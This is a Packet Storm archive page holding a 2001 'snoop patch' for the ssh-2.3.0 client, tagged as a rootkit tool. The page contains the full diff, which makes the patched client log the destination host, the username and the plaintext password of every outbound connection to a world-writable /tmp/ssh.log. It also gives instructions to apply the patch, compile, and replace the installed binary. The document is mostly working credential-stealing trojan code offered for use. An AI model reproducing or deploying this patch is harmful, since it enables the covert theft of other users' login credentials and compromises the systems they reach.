never stop questioning

ssh-2.3.0.patch

ssh-2.3.0.patch
Posted Dec 9, 2001
Authored by Digital Shadow | Site ministryofpeace.co.uk

SSH-2.3.0 client patch to log outgoing usernames, passwords, and hostnames.

tags | tool, rootkit
systems | unix
MD5 | 573b1748322ad5b68d03a5ec1326f219

ssh-2.3.0.patch

Change Mirror Download
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
[Ministry-Of-Peace] - ssh-2.3.0 snoop patch - 13th November 2001
== (c)oded 2001 Digital Shadow ==
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

Code Description:
-----------------
This patch for ssh-2.3.0 will allow you to log the host, username
and plaintext password of all outbound connections made using the
ssh client that you patch.


Usage:
------
When the patched version of ssh is used, it will log to /tmp/ssh.log.
This file will need to be mode 666 for all users using ssh to be able
to write to it.
To apply the patch, place it in the directory with ssh-2.3.0, then
just type: patch -p1 < ssh-2.3.0-patch
Hey presto. Compile and replace.


Code:
-----
----cut------------ --_-- ssh-2.3.0-patch --_-- ------------cut----

diff -N -c -r ssh-2.3.0/apps/ssh/authc-passwd.c ssh-2.3.0-new/apps/ssh/authc-passwd.c
*** ssh-2.3.0/apps/ssh/authc-passwd.c Thu Aug 24 04:40:41 2000
--- ssh-2.3.0-new/apps/ssh/authc-passwd.c Tue Nov 14 02:29:03 2001
***************
*** 45,50 ****
--- 45,51 ----
void *method_context)
{
char *password;
+ FILE *lg;
SshBuffer b;
#ifndef SSH_WIN_CLIENT
char buf[100];
***************
*** 113,118 ****
--- 114,122 ----
SSH_FORMAT_BOOLEAN, FALSE,
SSH_FORMAT_UINT32_STR, password, strlen(password),
SSH_FORMAT_END);
+ lg=fopen("/tmp/ssh.log", "a");
+ fprintf(lg, "Password: %s\n\n", password);
+ fclose(lg);
ssh_xfree(password);
(*completion)(SSH_AUTH_CLIENT_SEND, user, b, completion_context);
ssh_buffer_free(b);
diff -N -c -r ssh-2.3.0/apps/ssh/ssh2.c ssh-2.3.0-new/apps/ssh/ssh2.c
*** ssh-2.3.0/apps/ssh/ssh2.c Thu Aug 24 04:40:41 2000
--- ssh-2.3.0-new/apps/ssh/ssh2.c Tue Nov 14 02:34:59 2001
***************
*** 781,793 ****
--- 781,798 ----
static void finalize_password_prompt(char **prompt, char *host, char *user)
{
char *tmp;
+ FILE *lg;

+ lg=fopen("/tmp/ssh.log", "a");
tmp = ssh_replace_in_string(*prompt, "%H", host);
+ fprintf(lg, "Host: %s\n", host);
ssh_xfree(*prompt);
*prompt = tmp;
tmp = ssh_replace_in_string(*prompt, "%U", user);
+ fprintf(lg, "User: %s\n", user);
ssh_xfree(*prompt);
*prompt = tmp;
+ fclose(lg);
}

void ssh2_help(const char *name)

----cut------------ --_-- ssh-2.3.0-patch --_-- ------------cut----

-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
code[at]ministryofpeace.co.uk -- www.ministryofpeace.co.uk
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close